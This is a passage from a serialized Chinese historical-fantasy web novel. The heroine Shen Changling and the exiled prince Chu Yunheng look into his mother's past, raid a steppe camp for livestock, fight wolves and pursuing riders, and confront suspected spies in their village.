安顿好三兄弟,沈丰年急着去见大哥。沈长菱便主动给楚云衡带路,穿过几条泥泞的小路。 “你说要找孟西北?”沈长菱有些惊讶地看着楚云衡,“他就住我家隔壁。不过...”她欲言又止,眼中闪过一丝疑惑。 楚云衡的目光落在那个略显破旧的院子上,眼神突然变得深邃。记忆如潮水般涌来,母亲临终前的话言犹在耳,“一定要找到孟西北...他知道真相...”那个血腥的夜晚,定远候的刀光,母亲最后的呼吸,一切都清晰得仿佛就在昨日。 暗二已经跑上前去敲门,声音中带着几分急切,“孟先生!在不在?” 门吱呀一声开了,孟西北站在门口。 沈长菱目送楚云衡走进孟西北的院子。她不由得抿了抿唇,心底泛起一丝难以言说的情绪。 这位楚公子,到底要问什么呢?她望着那道渐行渐远的身影,脑海中不自觉浮现出方才他那双深邃眼眸中闪过的复杂神色。 沈长菱轻轻摇了摇头,压下心底那份不该有的好奇。朋友的私事,还是不要过问的好。 “长菱,快进来!”孟氏的声音从院子里传来,打断了她的思绪。 沈长菱快步走进院子,就见伯母正站在廊下朝她招手。 “伯母,我回来了。”她笑着迎上去,看到伯母脸上带着些许疲惫,心中一阵心疼。 “饿了吧?”孟氏拉着沈长菱的手,细细打量着她的脸色,“你爹呢?怎么没跟你一起回来?” “回来了,去找大伯了。”沈长菱摸了摸肚子,感受着里面传来的抗议声,“早上吃的那点早就消化完了。” 林夫人听见动静,从屋里走出来。她身上穿着一件淡青色的褙子,衣料虽不是什么名贵的料子,但是穿在她身上却显得格外雅致。 “桂花,去准备饭食。”林夫人吩咐道,声音温和却带着不容置疑的威严。 沈长菱突然想起什么,从怀里掏出一封信,“李县令让我带给您的。” 林夫人接过信时,指尖微微颤抖。她眉头轻蹙,“他还记得我在这?”语气中带着几分苦涩。 “我今日遇到他,他还在派人去寒陵找您呢。”沈长菱笑着说道,试图缓解气氛。 林夫人展开信,目光快速扫过信中内容。随着阅读的深入,她的脸色渐渐沉了下来,眼底浮现出一丝黯然。 整封信都在问秦泰的下落,却只字未提她的近况。想到为救她而死的秦泰,林夫人心头一阵酸涩,转身快步回了房间,连门都关得格外重。 “砰”的一声,在这静谧的院子里格外刺耳。 孟氏望着林夫人离去的背影,轻轻叹了口气,“富贵人家,也有富贵人家的苦啊。” 林月正端着面碗往嘴里扒拉,含糊不清地说,“这有什么苦的?住着大宅子,吃着山珍海味,多少人羡慕都羡慕不来。” “你懂什么!”胡氏瞪了她一眼,“人家那是金丝笼子,看着光鲜亮丽,实际上步步惊心。” 沈长菱不想掺和这些是非,专心对付起碗里的面条。热气腾腾的面条上飘着几片青翠的菜叶,香味勾得她食指大动。 另一边,孟西北的院子里。 楚云衡站在庭院中央,看着眼前这位老者。 “孟先生,在下楚云衡,想向您打听家母的一些旧事。”楚云衡拱手行礼,声音沉稳有力。 孟西北微微偏头,目光在楚云衡脸上停留片刻,“你是月华的孩子?” “正是。” “可有什么证明?”孟西北的语气中带着几分谨慎。 楚云衡解下腰间玉佩,双手恭敬地递上,“家母说,见到您时将此物交给您。” 孟西北接过玉佩,手指轻轻抚过月牙形的边缘。当触到尖端处的一处磕碰时,他的神色顿时柔和下来,眼中闪过一丝追忆。 “二十年了......”他轻声说,仿佛在自言自语,“你娘、我,还有宗政衡,当年我们三人......” 随着孟西北的讲述,往事如潮水般涌来。楚云衡的脸色越来越沉,眉头紧锁。 原来母亲与宗政衡相恋,却被宫中之人带走。宗政衡不告而别,只剩孟西北一人留在寒陵,守着那些无人知晓的秘密。 这些往事,让楚云衡对自己的身世产生了更多疑问。 定远候为何要杀他?为何要毁他容貌,又找人顶替?那些年来的种种疑问,此刻在他心中翻涌。 难道......他真的是定远候的儿子吗? 那次偷偷验血的结果,会不会有问题? 夜色渐深,院子里的灯笼被风吹得轻轻摇晃,在地上投下摇曳的影子。暗一和暗二在门外你推我搡,谁也不敢打扰世子沉思。 最后还是暗二硬着头皮开口,“世子,要不......咱们去隔壁蹭顿饭?” 第一百一十四章 他到底是谁 楚云衡回过神,看了眼天色。月亮已经悄悄爬上了天空,院子里飘来阵阵饭香。 “也好。”他淡淡道。 暗二眼睛一亮,飞快地跑去打招呼。他早就对沈家的饭菜好奇得紧,连蛮子打来都挡不住孟西北吃饭的劲头,那得多香啊? 夜风轻拂,带着槐花的香气,还有远处传来的阵阵笑语。楚云衡站在院子里,望着天上的月亮,心中思绪万千。 那些尘封的往事,那些未解的谜题,还有那个始终萦绕在心头的问题——他到底是谁? 月光如水,静静地洒在他的肩头,仿佛要为他洗去所有的迷茫与困惑。但他知道,真相永远不会那么简单。 就在这时,院子里传来一阵脚步声。孟西北走了出来,手里还拿着那枚玉佩。 “云衡,”他开口道,声音沙哑,“有些事情,或许不该让你知道。但既然你来问了,我就告诉你一个地方。” 楚云衡转身,目光灼灼地看着孟西北。 “寒陵城外,有一座废弃的庙宇。”孟西北缓缓说道,“二十年前,你母亲留下了一些东西。” 楚云衡的瞳孔微微收缩,心跳不自觉地加快。 “那里,或许能找到你想要的答案。”孟西北说完,将玉佩递还给他,“但记住,有些真相,知道了未必是好事。” 楚云衡接过玉佩,感受着掌心传来的温度。他知道,自己的命运,或许就要在这里,迎来新的转折。 沈家。 沈家的粮仓几乎被洗劫一空,只剩下些零星的口粮。破败的木门歪斜着,地上散落着被蛮子踩碎的谷物,空气中弥漫着一股淡淡的霉味。 这些残存的粮食放在平时,勉强够一家人度日。可如今多了邻居和林夫人一行人,就显得捉襟见肘了。孟氏站在粮仓门口,眉头紧锁,手指无意识地摩挲着衣角。 沈长菱早有准备,趁着午饭后众人休息的空档,悄悄溜进地窖。阴暗潮湿的地窖里,她蹑手蹑脚地在角落放了一袋米和一袋面,又零零散散地撒了些菜和咸肉在地上。泥土的气息混合着霉味扑面而来,她不由得皱了皱鼻子。 这般布置,倒像是蛮子匆忙之间没来得及搜刮干净。沈长菱满意地打量着自己的杰作,嘴角勾起一抹狡黠的笑意。 孟氏正在厨房里翻箱倒柜,为晚饭发愁。锅碗瓢盆碰撞的声音不绝于耳,她的脸上写满了焦虑。 “伯母,我去地窖再找找吧。”沈长菱适时出现在门口,语气轻快。 孟氏抬头看她,“那地窖都翻过多少遍了,还能找出什么来?” “试试看嘛,说不定有惊喜呢。”沈长菱眨了眨眼,转身就往地窖跑。 不一会儿,她提着米面上来,脸上带着几分得意,“伯母,你看我找到什么了!” 孟氏狐疑地打量着这些粮食,昏暗的光线下,她的目光格外锐利,“当真是从地窖里找到的?” “那可不!”沈长菱拍了拍衣服上的灰尘,“墙角还有些菜呢,估计是蛮子走得急忘记带走的。” 孟氏将信将疑,放下手中的活计,亲自下到地窖查看。沈长菱带着她往偏僻处走,指着地面上的蔬菜说道,“瞧,我说的没错吧?” “咦,这儿还有块咸肉!”沈长菱故作惊喜地叫道,蹲下身子拨开泥土。 孟氏凑近一看,果然在泥土里发现了一块咸肉。她心疼地拍了拍上面的灰,叹气道,“这帮该死的蛮子,要不是这肉被踩进泥里,怕是连这都不会给咱们留下。” 俩人沉默了一会儿,孟氏轻声说,“罢了,今晚痛痛快快享受一顿,明日再想办法。” 正说着,暗二蹦蹦跳跳地跑来,一张小脸红扑扑的,眼巴巴地表示想蹭饭。他的衣服上沾着草屑,显然是刚从外面玩耍回来。 沈丰年爽快地应下,“这有什么,等会儿一起吃!”说着,还揉了揉暗二的脑袋。 孟氏闻言,顿时觉得压力山大。她瞪了一眼自己这个不靠谱的小叔子,“光说不行,你快去村里看看谁家还有鸡,买两只回来。这么多客人在,总得有个硬菜。” 沈丰年接过大嫂递来的钱袋,屁颠屁颠地去了。 趁着这个空档,沈长菱悄悄溜进厨房,往菜筐里偷偷塞了几个金薯。这可是她的杀手锏,足以让所有人大吃一惊。她的手指轻轻抚过金薯粗糙的表皮,嘴角勾起一抹神秘的笑意。 到了做饭时,她寸步不离地守在厨房。桂花几次想帮忙都被她婉拒,只说自己一个人就够了。灶台上的火焰跳动,锅里的水渐渐沸腾,蒸汽氤氲中,沈长菱的身影显得格外专注。 “咦?这是什么?”她假装惊讶地拿出金薯,故意提高了声音。 孟氏闻声看来,眉头微蹙,“这黄疙瘩是什么东西?”她伸手接过来,翻来覆去地打量着。 “这叫金薯,是我从商人那儿买的。”沈长菱一脸天真地解释,“听说可以切丝炒,也能和肉一起炖,外族人都把它当主食呢!” 孟氏将信将疑地捏了捏手中的金薯,“当真能吃?” “要不咱们试试?”沈长菱建议道,眼睛亮晶晶的,“和鸡一起炖应该很香。” “还是别冒险,万一不能吃岂不是浪费了鸡肉?”孟氏犹豫道,“你说切丝炒,那就先这么试试。” 趁着孟氏出去和林夫人说话的空档,沈长菱麻利地切了些金薯块放进炖鸡的锅里,剩下的切成丝炒了一盘。厨房里很快飘出诱人的香气,引得院子里的孩子们频频探头张望。 晚饭时分,众人分两桌而坐。沈丰德带着小孩和侄子回家招待客人,他们刚从外面回来,身上还带着夜风的凉意。 “这是什么菜?”沈丰德看着那盘金黄的金薯丝,忍不住问道。灯光下,那道菜散发着诱人的光泽。 孟氏笑着解释,“是长菱买的新鲜物件,叫金薯。” 楚云衡放下筷子,仔细打量着这道菜。他在京城见多识广,却也是头一回见到这种食材。那双深邃的眼眸中闪过一丝好奇。 “大家先尝尝。”沈长菱笑着说,目光在众人脸上扫过,“好不好吃,吃过就知道了。” 众人纷纷动筷,沈长河第一个尝到,眼睛顿时亮了起来。他连忙又夹了一筷子,脸上露出惊喜的表情。 林夫人向来食量不大,今日却破天荒地多吃了几筷子,连连称赞。她优雅地擦了擦嘴角,目光含笑地看向沈长菱。 饭后,沈丰德单独叫来沈长菱询问金薯的来历。 沈长菱压低声音,神秘兮兮地说,“大伯,这东西不简单。它不但能当主食,最重要的是,一亩地能产五千斤!” 此言一出,满座皆惊。烛火剧烈地晃动了一下,仿佛也被这个数字震惊。 “当真?”沈丰德霍然起身,椅子在地上发出刺耳的摩擦声。 第一百一十五章 性命要紧 沈长菱目光灼灼,语气坚定,“我有个主意。蛮子抢了咱们的粮食,不如咱们也去做笔买卖。”她的手指轻轻敲击着桌面,眼中闪烁着智慧的光芒。 楚云衡立刻领会她的意思,嘴角勾起一抹若有似无的笑意,“你想用这个换他们的牛羊?” “正是。”沈长菱点头,目光与他相接。 沈丰德皱眉,脸上写满了担忧,“此去凶险,你的性命要紧。”烛光在他脸上投下深深的阴影。 “我自有分寸。”沈长菱笑得狡黠,眼中闪过一丝狠厉,“再说,蛮子的命,可不在我的计算之中。” 孟西北放下茶杯,杯底与桌面相碰发出清脆的声响,“若你能平安回来,老夫倒是可以教你几手。” “一言为定!”沈长菱眼睛一亮,拍案而起,“谁反悔谁是狗!” 孟氏站在门外,听着屋内的谈话,心中五味杂陈。 孩子大了,有自己的主意了。她默默转身,去准备干粮去了。 毕竟,不管多危险的路,总得吃饱了才有力气走下去。 夜色渐浓,一行人悄然离开青山村。 沈长菱走在前头,身后跟着林月和几名暗卫。楚云衡不紧不慢地走在最后,目光时不时扫过四周。月光透过稀疏的树梢,在地上投下斑驳的影子,偶尔传来几声夜枭的啼叫,更添几分诡秘。 “娘,记住我说的话。”沈长菱回头看了眼林月,眉头微蹙,“山上危险,一定要听我的。”她知道自家老娘的性子,一旦兴起来就管不住自己。 “放心吧丫头,”林月拍了拍胸脯,眼中闪着兴奋的光,“你让我往东我坚决不往西,叫我赶狗我可不追鸡!”说着还朝沈长菱挤了挤眼睛。 沈长菱无奈地摇摇头,这位老娘的性子,还真是一点没变。 山路崎岖,越往上走树木越密,枝叶交错间几乎遮住了月光。沈长菱暗暗运起灵识,探查着前方的路况。空气中弥漫着潮湿的泥土气息,脚下的枯枝在踩踏时发出轻微的断裂声。 “小心脚下。”楚云衡突然出声提醒,声音低沉而清晰。 沈长菱回头,正好对上他深邃的眼眸,那双眼睛在夜色中仿佛蕴含着星光。她轻轻点头,继续向前走去。 突然,一阵寒风袭来,树叶沙沙作响。空气中弥漫着一股若有若无的腥味。 “有狼!”暗二低喝一声,手已经按在了剑柄上。 沈长菱瞬间警觉,只见黑暗中闪烁着数十双幽绿的眼睛,正从四面八方包围过来。狼群发出低沉的嘶吼,慢慢收紧包围圈。 “娘,到我身后!”她一把拉过林月,同时从腰间抽出匕首。 楚云衡已经拔出长剑,剑身在月光下泛着冷冽的光芒。“一个不留。”他冷声道,声音里带着不容置疑的威严。 几名暗卫应声而动,剑光闪烁间已经与狼群缠斗在一起。刀剑相击的声音混杂着狼的嚎叫,在寂静的山林中格外刺耳。 沈长菱正要出手,忽然闻到一股浓重的血腥味。她转头一看,只见林月手臂上的伤口不知何时裂开了,鲜血已经浸透了衣袖。 “该死!”她赶紧从包袱里掏出药粉,心中暗自懊恼没有早点注意到。 就在这时,一只体型硕大的灰狼从侧面扑来,张开血盆大口直奔林月。那狼的眼睛泛着嗜血的红光,利齿闪着寒芒。 嗖! 一支箭矢破空而至,正中那狼的咽喉。狼发出一声凄厉的哀嚎,重重摔在地上。楚云衡收起弓,目光冷冽地看向暗一等人,“办事不利。” 暗一立即跪地请罪,“属下认罚。”额头上的冷汗在月光下闪着微光。 “这不怪他们,”沈长菱一边给林月包扎一边说道,“狼群太多,谁也不能面面俱到。”她的手法娴熟,动作轻柔却不失力度。 楚云衡看了她一眼,目光中闪过一丝异样,难得地松口,“下不为例。” 几名暗卫面面相觑,显然没想到世子会这么轻易放过。暗二偷偷看了眼沈长菱,似乎明白了什么。 解决完狼群,楚云衡取出几包药粉分给众人,“洒在身上,遮掩血腥味。”他的动作干净利落,显然经验丰富。 沈长菱接过药粉,仔细闻了闻,好奇道,“你自己配的?这味道很特别。” “嗯,看几回就懂了,不难。”楚云衡语气平淡,却掩不住眼中的一丝得意。 “真厉害。”沈长菱由衷赞叹,“我学了好久都配不出这么好的药粉。” 楚云衡嘴角微扬,“不过是记性好罢了。”说着,目光不经意地扫过她的脸庞。 沈长菱暗自翻了个白眼,这人还挺得意。不过想想也是,楚云衡从小就是个天才,无论做什么都一学就会。 趁着众人休整,她找了个借口溜回狼尸堆积处。手一挥,二十多具狼尸全被收入空间。这可都是值钱货啊,狼皮、狼牙、狼爪,每一样都能卖个好价钱。 再往前走,山顶已现出一片白茫茫的积雪。寒风呼啸,吹得人脸颊生疼。 沈长菱裹紧了身上的皮袄,仍觉得寒意刺骨。她的脸颊被冷风吹得通红,呼出的白气在空中凝结成霜,落在睫毛上。她下意识地抬手擦了擦,却发现手指已经冻得有些僵硬。 “娘,你还撑得住吗?”沈长菱放慢脚步,扶住林月的胳膊。 林月勉强挤出一个笑容,“没事,就是有点冷。”她的声音都在发抖,嘴唇也失去了血色。 “前面有山洞。”暗二的声音突然传来,他站在一块突出的岩石上,目光锐利地扫视着前方。 楚云衡闻声抬头,目光如炬,“过去看看。”他的声音里带着不容置疑的命令,几个暗卫立即分散开来,警惕地查看周围的环境。 山洞并不大,但足以容纳他们一行人。洞口被积雪覆盖,内里却干燥温暖。待他们赶到时,暗卫们已经打扫妥当,篝火也升起来了。林月一进洞就往火堆边凑,搓着冻僵的手,没一会儿就开始打瞌睡。 “你们睡这。”楚云衡取下一件华贵的大氅铺在地上。火光映照下,那件大氅上的金线绣纹熠熠生辉,显然价值不菲。 沈长菱看着那件做工精良的大氅,心里一阵纠结。这样贵重的衣物,就这么铺在地上当床褥,实在是太浪费了。可是看着母亲疲惫的样子,她又不忍心拒绝,“这太贵重了...” “难道你想睡地上?”楚云衡挑眉,目光中带着几分戏谑。他知道沈长菱向来要强,但在这种时候还是要学会接受别人的好意。 沈长菱立刻拉着林月躺了上去,“多楚公子。”她的语气里带着几分赌气的意味,惹得楚云衡轻笑出声。 他又把一件大氅扔了过去,“盖上,别着凉了。”这次沈长菱连客气都懒得客气,直接盖在了身上。大氅上还带着楚云衡的体温,让她不由得缩了缩脖子。 第一百一十六章 准备出发 林月很快就睡熟了,发出轻微的鼾声。沈长菱听着母亲均匀的呼吸声,望着洞顶跳动的火光,思绪渐渐飘远。 不知不觉间,她也陷入了梦乡。 不知过了多久,肩膀被人轻轻推了推。沈长菱猛地睁开眼,多年形成的警惕让她条件反射般出手,一记手刀就朝着来人劈去。 楚云衡轻松握住她的手腕,“这么大的火气?”他的声音里带着几分调侃,但眼神却很认真地打量着她。 看清是他,沈长菱讪讪收回手,“要出发了?”她揉了揉眼睛,发现洞外已经泛起了鱼肚白。 “先吃点东西。”楚云衡指了指火堆旁的食物。暗卫们不知从哪里找来了一些干粮,正在火上烤着。 林月被推醒时还在撒娇,“再睡会儿...”可当闻到食物的香味,立刻精神抖擞地坐起来,“得赶紧吃完赶路。”她这副模样,让一旁的暗卫们都忍俊不禁。 几个暗卫看着这对母女的互动,忍不住多看了几眼。这关系,当真是有趣。尤其是林月那副天真烂漫的样子,完全看不出是经历过大风大浪的人。 用雪水煮了些热水暖身,一行人继续赶路。翻过山头,眼前的景色让人惊叹。连绵起伏的山坡上尽是枯黄的草,远处一座雪山在朝阳下熠熠生辉,宛如一位披着银装的巨人。 “好美。”林月看得入神,脸上露出向往的神色。 楚云衡却在思考正事,“你买金薯的那个行商可曾说过这金薯在何处?”他的目光扫过远处的村落,试图寻找可能的线索。 沈长菱环顾四周,昨晚看到的帐篷已经消失不见,“他只说是从地里挖出来的。”她的语气里带着几分懊恼,早知道应该问得更详细些。 一行人在山中转了整整一天一夜,翻过了三座山头,终于看到了广袤的草原。成群的牛羊在草原上悠闲地吃草,远处还有几顶毡房,炊烟袅袅。 沈长菱和林月看着那些膘肥体壮的牲畜,不约而同地咽了口唾沫。她们已经很久没有吃过肉了,这些牛羊看起来格外诱人。 “放羊的人不多。”暗一低声道,他的目光警惕地扫视着四周,确保没有危险。 楚云衡的目光落在一头漆黑的公牛身上,那头牛体型健硕,正独自在一旁吃草。沈长菱则盯上了一只黑头白身的公羊,那只羊看起来格外肥美。 两人对视一眼,眼中都闪过一丝默契。带着人悄悄靠近,放牧的人正在篝火边喝酒,脸色通红,显然已经醉得不轻。 沈长菱压低声音,“我去套头羊,暗二套头牛。”她从腰间摸出一根绳索,手法娴熟地打了个活结。 她和暗二小心翼翼地靠近,将套好的绳索抛向目标。眼见牲畜迟迟不进圈套,沈长菱用灵识在它们屁股上轻轻一戳。 受惊的牛羊往前一窜,正好踏入圈套。一头体型壮硕的公牛被绳索拴住,它低头用力挣扎,粗壮的四肢不断刨地,想要挣脱束缚。但绳子的另一端传来的力道同样不小,在这拉锯战中,公牛不由自主地向后退了几步,蹄子在地上划出几道深深的痕迹。 “哞~~”公牛仰头长啸,粗重的鼻息喷出白雾。 周围的牛群听到同伴的叫声,纷纷抬头应和,“哞!!”此起彼伏的叫声在草原上回荡。 远处的毡帐中,几个放牧人听到动静,叽里呱啦地喊着听不懂的话语。帐篷的门帘被掀开,一群人手持弓箭从里面冲了出来。 “不好!”沈长菱心急如焚,额头渗出细密的汗珠,“快拉!再不走就来不及了!” 暗一等几个大男人合力拉扯着倔强的公牛,但收效甚微。他们憋得满脸通红,青筋暴起,公牛却只是被拉动了几步就停下了。 “让我来!”沈长菱冲上前接过绳子,运气发力向前拉。地面被踩出深坑,她一步一步艰难前行,裙摆被风吹得猎猎作响。 绳索绷得笔直,发出不堪重负的嘎吱声,公牛越发倔强,低头用角顶地,死命往反方向使劲,“哞!!!” 另一边,林月一个人就拽着一群羊走出老远。她的额头布满汗水,但脚步丝毫不停。看到这边的情况,她急了,“你们这些男人真没用,去扛羊!我来帮长菱!” 林月赶紧过来帮女儿拉绳子。沈长菱看着这头犟牛,胸中怒火翻腾,眼中闪过一丝凌厉。 “娘,你先拉着!”她松开手,准备换个方式。 就在交接的瞬间,绳索发出一声脆响,啪的一声崩断。 林月反应极快,一个飞扑,死死抓住断掉的半截绳子,迅速缠在腰上继续拉。她的手掌被绳子勒出血痕,却仿佛感觉不到疼痛。 沈长菱彻底怒了,冲到公牛面前,一拳砸在它脑袋上,“你到底走不走!”她的声音里带着压抑的怒火。 “哞!!”公牛依旧倔强地摇头。 沈长菱纵身跃上牛背,裙摆在风中飞扬,“今天你要是不走,我就打死你!”她的眼中闪烁着决绝的光芒。 一阵风掀起她额前的刘海,露出那张精致如画的面容。她眼神坚定中带着几分傲气,拳头不停地砸向牛头,每一下都用尽全力。 楚云衡站在不远处,看得愣住了。这是他第一次真正看清沈长菱的容貾,那张脸莫名地熟悉,仿佛在哪里见过。阳光下,她的侧脸线条柔和而坚毅,眼神中透着不屈的光芒。 正当他想仔细看时,公牛被打得头晕目眩,发出一声惨叫,“哞!!!”声音中带着明显的痛苦。 整个牛群都朝这边涌来,蹄声如雷,扬起阵阵尘土。放牧人看到这一幕,立即举弓瞄准,箭头在阳光下闪着寒光。 楚云衡动作迅速,弓弦一响,一箭破空而去,正中一个放牧人的胸口。那人连声音都没来得及发出,就重重地倒在了地上。 其他放牧人见状纷纷举弓还击,箭矢破空的声音此起彼伏。有人掏出一个白骨做的哨子,使劲吹响。 尖锐的哨声响彻草原,远处的草丛中传来马蹄声,显然是增援的人马正在赶来。 沈长菱身下的公牛终于扛不住,朝她想要的方向狂奔。整个牛群也随之奔腾而去,地面因为牛群的奔跑而微微震动。 “都上牛!快跑!”沈长菱冲着还在地上的人大喊,声音中带着焦急。 林月立即扔掉绳子,抓住一头牛的角翻身上去。她的动作虽然不够优雅,但干净利落。其他人也纷纷效仿,爬上离自己最近的牛背。 “主子!蛮子骑马追来了!”暗五紧张地提醒,声音中带着明显的慌乱。 远处扬起的尘土中,已经能看到骑马的追兵。他们挥舞着弯刀,发出野兽般的吼叫。 牛背虽宽,但光滑难以稳住身形。众人摇摇晃晃,既要防备追兵的箭矢,又要担心摔下去被踩死。有人紧紧抓住牛角,有人死死揪住牛毛,每个人的脸上都写满了紧张。 第一百一十七章 想逃? 沈长菱突然调转方向,带着牛羊群迎着追兵冲了过去。她的眼中闪过一丝狡黠,嘴角微微上扬。 “这丫头,”楚云衡看着沈长菱的背影,嘴角勾起一抹笑意,“看,她有办法了。” 牛羊群在沈长菱的带领下,如同一道洪流般向追兵冲去。 “唰!”一道血线在蛮子的脖颈间绽开。他瞪大了眼睛,难以置信地看着沈长菱,喉咙里发出“咕咕”的声响,随即倒地不起。 剩下的蛮子们面面相觑,恐惧爬上他们粗犷的面庞。有人颤抖着举起弯刀,却在对上沈长菱冰冷的眼神时,手中的刀“当啷”一声掉在地上。 “跑!快跑!”不知是谁喊了一声,剩余的蛮子们如惊弓之鸟般四散而逃。 沈长菱嘴角勾起一抹冷笑,真气涌入双腿,身形如电般追上一名逃窜的蛮子。她单手抓住那人的衣领,猛地往地上一摔。 “咔嚓”一声脆响在寒风中格外清晰。那蛮子的脖子扭曲成诡异的角度,眼中的光芒迅速暗淡下去。 远处传来一声尖锐的口哨,打破了死亡的寂静。几匹草原骏马朝着剩余的蛮子们疾驰而来,马蹄扬起的积雪在空中飘散。 “想骑马逃命?”沈长菱眸光一冷,手中长刀微微抬起。 楚云衡早已站在高处,弓弦绷紧,五支利箭破空而去。箭矢划破寒风,发出刺耳的呼啸声。 沈长菱手中长刀挥出,刀气裹挟着她的灵识,如银蛇般窜出。三个刚刚跃上马背的蛮子连惨叫都来不及发出,便软软地倒了下去。 “让开!”林月的吼声突然在身后响起。 沈长菱身形一闪,两把大锤呼啸着从她身边掠过,正中两名蛮子的后心。力道之大,连马背都被砸得凹陷下去,马儿发出一声悲鸣,轰然倒地。 暗一等人也加入了战斗,长剑出手,寒光闪烁。剩下的蛮子转眼间便命丧当场,鲜血染红了皑皑白雪。 沈长菱长出一口气,目光扫过满地的尸首。寒风中飘来血腥味,她皱了皱眉,沉声道,“先把牛羊的头领拴住。” 那头体型硕大的公牛似乎对沈长菱颇有好感,竟主动低下头,任由她抚摸。沈长菱看着半山的牛羊,眼中闪过一丝喜色。 “今年的年货,总算有着落了。”她喃喃自语。 “娘,我去帐篷里看看。”沈长菱转头对林月说道。 林月已经弯腰捡起地上散落的箭矢、长剑和大锤,脸上带着憨厚的笑容,“这些兵器都还能用,别浪费了。” “娘就是细心。”沈长菱由衷赞道,心中涌起一股暖意。 走进帐篷,沈长菱眼前一亮。帐篷是用上好的兽皮制成的,里面堆满了各种物资。 “全都拆了!”她毫不犹豫地说道。 母女俩麻利地收拾着帐篷里的东西。风干的牛羊肉散发着诱人的香气,取暖的小炉子上还有余温,铺盖用的皮子摸起来柔软温暖。她们一样不落地打包起来,动作熟练得像是做过无数次。 “发财了发财了!”林月一边干活一边笑,脸上的褶子都舒展开了。 最后只剩下几根撑帐篷的木桩,母女俩围着转了两圈,眼中都带着不舍。 “算了,咱家不缺木头。”沈长菱说道,语气中却难掩遗憾。 楚云衡找了一圈没发现金薯的踪迹,回来时看到地上堆着的四大捆东西,不由得愣在原地。 “你们这是...把帐篷搬空了?”他的语气中带着几分惊讶。 “废物利用而已。”沈长菱轻松地把一捆东西扛在肩上,动作行云流水。 楚云衡看着她被刘海遮住的面容,心中泛起一丝异样。眼前的女子和记忆中的那个人越来越不同,不仅是相貌,连这精打细算的个性都不例外,也与宫里那位天差地别。 “没找到金薯,看来不是玄戎人的东西。”楚云衡收回思绪,说道。 “那个商人也没说过金薯是玄戎的,他只说四处做生意。”沈长菱一边整理东西一边说,“我家还有几块,可以试着种植。” 楚云衡点头,“也好,我回去后把那商人的相貌画下来,或许能找到他的踪迹。” 沈长菱立刻去收拾行李,把东西都放在牛背上。牛羊实在太多,只能选择性地拴住一部分。剩下的只能放任它们自由活动,反正这些牲口都有跟随的习性。 暗一他们也赶来了五十匹马,每个人脸上都洋溢着喜悦。这一票干得漂亮,连他们这些江湖老手都忍不住兴奋。马匹喷着白气,不安地刨着地面,似乎也感受到了主人们的情绪。 一行人辨明方向,押着牛羊马开始返程。路上走走停停,要清理牛羊留下的痕迹。寒风呼啸,积雪渐厚,脚下的路越发难走。 两天后,他们终于看到了下山时的那座山脉。远处的山峰隐没在云雾中,若隐若现。 “快看,下雪了。”沈长菱仰头看着天空飘落的鹅毛大雪,脸色凝重起来,“得抓紧时间赶路,别迷失方向。” 雪越下越大,能见度急剧下降。沈长菱不得不放慢脚步,仔细辨认着来时的路。周围的景物在大雪中变得模糊不清,连空气中都弥漫着一种朦胧的白色。 眼看着回家的路越来越近,沈长菱和林月的脸上都露出了笑容。然而就在这时,沈长菱神色突然一凛,身体本能地绷紧。 “怎么了?”楚云衡压低声音问道,眼神中带着几分担忧。他下意识地将手按在了腰间的佩剑上。 沈长菱没有立即回答,而是闭上眼睛,仔细分辨着远处传来的细微声响。片刻后,她睁开眼睛,目光穿过层层白雪,落在三里外的一处山石上。 “有人。”她轻声说道,“两个,应该是关外人。” 楚云衡立刻会意,目光变得锐利起来。暗一等人也瞬间绷紧了神经,连林月都不敢大声喘气,紧张地攥着衣角。 远处山石上,两个身材魁梧的男子正居高临下地打量着山下的青山村。他们穿着打扮都很像关内人,但交谈时用的却是关外的方言。 沈长菱虽然听不太懂具体内容,但那独特的语调让她心头一紧。这些日子以来,她对这种口音已经格外敏感。每次听到,都意味着有麻烦找上门来。 “他们在往村子方向移动。”沈长菱皱眉道,“得赶快过去看看。” 楚云衡对沈长菱那堪比神兽的听力早已见怪不怪。一路流放途中,这项异于常人的本领不知救了他们多少次。他朝暗四使了个眼色,随即脚尖轻点,整个人如一片落叶般轻盈地跃上树枝。 “暗三,你带人从小路绕过去。”楚云衡简短地下达命令,“其他人跟我来。” 沈长菱转头看向身边的头牛,挥舞着拳头威胁道,“要是不给我跑快点,看我不揍死你!” 第一百一十八章 看着面生 那头牛仿佛真能听懂人话似的,仰头低吼一声。原本悠闲吃草的牛群立刻加快了脚步,朝着山下奔去。积雪被踏碎的声音在山间回荡。 此时,那两个可疑的男子已经来到了村口。他们在山脚下短暂停留,交换了几句话后才装作一副漫不经心的样子走进村子。 村里最宽的那条路上行人寥寥。两人磕磕绊绊地向前走着,装出一副生疏的样子。但沈长菱注意到,他们的眼神始终在四处游移,像是在寻找什么。 越往里走,人渐渐多了起来。几个闲汉正倚在墙边闲聊,其中一个满脸皱纹的老大爷见到陌生人,立即眯起了浑浊的眼睛。 “哎呦,这是谁家的?”老大爷用浓重的乡音问道,“看着面生啊。” 两人脸上立即堆起憨厚的笑容,用标准的关内话回答,“大爷,我们是来找表叔李小全的,您认识不?” “李小全?”老大爷挠挠头上的白发,眉头皱得更深了,“咱们村没这号人啊。” 高个子的男人着急地解释,“这不就是青牛村吗??我表叔小名叫虎娃儿。” “这是青山村,不是青牛村。”老大爷摆摆手,“你们找错地方了。” “那真是不好意思。”矮个子男人露出失望的表情,“这条路可以通往村外吗??” 老大爷刚要指路,突然看到远处一大群牲口从山上冲下来,吓得声音都变了,“我的天!这是咋了?!” 周围的人也都被惊动了,纷纷回头张望。有人惊恐地大喊,“疯牛!疯牛来了!” 那两个陌生人的表情却突然变得凝重起来。他们交换了一个眼神,显然认出了那些牛羊不是关内品种。 “暗四!抓住他们!”沈长菱的声音突然响起。 暗四虽然一直在观察,却没发现这两人有什么异常。但听到沈长菱的命令,他还是毫不犹豫地出手了。身形如鬼魅般闪现在两人身后。 两个男人见状立即反抗,一边躲闪一边喊冤,“冤枉啊!我们是良民!” 但他们躲闪的身法却暴露了真实身份。那动作干净利落,绝非普通百姓能有的身手。暗四眼神一冷,出手更快了。 眼看躲不过去,两人从靴子里抽出短刀,不再伪装,开始了凶狠的反击。刀光闪烁间,寒气逼人。 村民们听到动静纷纷拿着农具赶来,看到打斗的场面都愣住了。有人认出了沈长菱,连忙问道,“沈姑娘,这是在干啥呢?” “他们是蛮子!”沈长菱大声提醒,同时用灵识探查着周围,防止还有其他人埋伏。 此话一出,村民们立即变了脸色。这里靠近边境,谁不知道蛮子的可怕?众人纷纷加入战圈,举着锄头铁锹就要上。 两个蛮子见势不妙,其中一人突然大喊一声,打算突围逃跑。另一人立即掩护,拼命阻挡追兵。刀光剑影中,不时有血花绽放。 